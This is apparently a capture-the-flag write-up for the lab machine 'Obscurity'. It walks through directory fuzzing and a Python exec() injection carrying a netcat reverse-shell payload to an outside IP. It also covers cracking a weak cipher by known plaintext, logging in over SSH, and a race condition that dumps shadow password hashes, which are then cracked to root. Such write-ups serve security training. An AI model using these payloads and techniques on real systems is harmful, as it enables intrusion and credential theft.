Obscurity

Obscurity is a Medium Difficulty linux box that deals with python exploitation and race conditions
Recon
we start off by scanning Obscurity's IP 10.10.10.168 with nmap
nmap -T4 -A -v 10.10.10.168From our scan we get the following results
PORT     STATE  SERVICE    VERSION
22/tcp   open   ssh        OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp   closed http
8080/tcp open   http-proxy BadHTTPServerWe find that there is a webpage hosted via a BadHTTPServer on port 8080, So lets take a look at what we have
We find that we have some useful information that we can later use right on the webpage
123 Rama IX Road, Bangkok
010-020-0890
secure@obscure.htb
obscure.htb
Development
Server Dev
Message to server devs: the current source code for the web server is in 'SuperSecureServer.py' in the secret development directoryAs well as a clue that there is a server we can access at a undisclosed location with the name SuperSecureServer.py
We can start fuzzing with https://github.com/ffuf/ffuf
./ffuf -w /usr/share/dirb/wordlists/common.txt -u http://10.10.10.168:8080/FUZZ/SuperSecureServer.py -mc 200And we do indeed get a hit!
develop                 [Status: 200, Size: 5892, Words: 1806, Lines: 171]So we know that at 10.10.10.168:8080/develop/SuperSecureServer.py we can get the development server.
wget http://10.10.10.168:8080/develop/SuperSecureServer.py139 exec(info.format(path)) On line 139 we find a exec function that does not sanitize the URI prior to including it as part of the info string. To this end we can potentially create a reverse shell.
nc -lnvp 3232
http://10.10.10.168:8080/';os.system(%22rm%20/tmp/f;mkfifo%20/tmp/f;cat%20/tmp/f%7C/bin/bash%20-i%202%3E&1%7Cnc%2010.10.14.175%203232%20%3E/tmp/f%22);x='And yes we get a shell!
www-data@obscure:/$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Enumerating the user dir robert we find a file encrypter/decrypter SuperSecureCrypt.py and a check.txt file that tells us Encrypting this file with your key should result in out.txt, make sure your key is correct!
In addition to this we also find a encrypted file called passwordreminder.txt so lets pull everything down!
we can use b64 to encode and copy the files to our side and decode to their original states
base64 -w0 out.txt
echo '<base64 output>' | base64 -d -w0 > out.txtExploit
We can use the following script to get the key
#python3 known_plaintext.py
def getkey(cipher, plain):
    position = 0
    key = ""
    for item in list(plain):
        cipherchar = cipher[position]
        plainchar = ord(item)
        key += chr((ord(cipherchar) - plainchar))
        position +=1
    print(key)
with open('out.txt') as f:
    cipher = f.read()
with open('check.txt') as f:
    plain = f.read()
getkey(cipher, plain)
alexandrovichWe can use the following script to decrypt the password
#!/usr/bin/env python3
import string
def decrypt(text, key):
    keylen = len(key)
    keyPos = 0
    decrypted = ""
    for x in text:
        keyChr = key[keyPos]
        newChr = ord(x)
        newChr = chr((newChr - ord(keyChr)) % 255)
        decrypted += newChr
        keyPos += 1
        keyPos = keyPos % keylen
    return decrypted
key = ''
pt = "Encrypting this file with your key should result in out.txt, make sure your key is correct!"
with open('out.txt', 'r', encoding='UTF-8') as f:
    ct = f.read()
for i in range(len(ct)-2):
    for c in string.printable:
        decrypted = decrypt(ct[i], c)
        if decrypted == pt[i]:
            key += c
#key = 'alexandrovich'
with open('passwordreminder.txt', 'r', encoding='UTF-8') as f:
    ct = f.read()
print(decrypt(ct, key))Running the script we get SecThruObsFTW
We can now ssh with the credentials robert:SecThruObsFTW
ssh robert@10.10.10.168
robert@obscure:~$ id
uid=1000(robert) gid=1000(robert) groups=1000(robert),4(adm),24(cdrom),30(dip),46(plugdev)
Post Exploitation
Doing a simple sudo -l reveals that we can run sudo in the following context
User robert may run the following commands on obscure:
    (ALL) NOPASSWD: /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.pyRunning the above however sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py results in a error FileNotFoundError: [Errno 2] No such file or directory: '/tmp/SSH/19WB3lNH' upon creating the tmp/SSH directory however we get Authed and have a new shell
Checking on the source code of BetterSSH we see that it writes the contents of shadow to disk, reads, auths & deletes it which gives us a chance to get root hash
To achieve this we will open a second ssh session and run
while true; do if [ "$(ls -A /tmp/SSH)" ]; then cat /tmp/SSH/*; break; fi; doneand from the original we will run sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py again 
SESSION 1
sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py
robert
asd
SESSION 2
while true; do if [ "$(ls -A /tmp/SSH)" ]; then cat /tmp/SSH/*; break; fi; done
root
$6$riekpK4m$uBdaAyK0j9WfMzvcSKYVfyEHGtBfnfpiVbYbzbVmfbneEbo0wSijW1GQussvJSk8X1M56kzgGj8f7DFN1h4dy1
18226
0
99999
7
robert
$6$fZZcDG7g$lfO35GcjUmNs3PSjroqNGZjH35gN4KjhHbQxvWO0XU.TCIHgavst7Lj8wLF/xQ21jYW5nD66aJsvQSP/y1zbH/
18163
0
99999
7
and with that we have root's hash, now to call up john and crack it
john --wordlist=/rockyou.txt hash
mercedes         (?)And we get root credentials root:mercedes unfortunately we cannot ssh using it but we can use su in a ssh session and get root
robert@obscure:/tmp$ su
Password: 
root@obscure:/tmp# id
uid=0(root) gid=0(root) groups=0(root)Last updated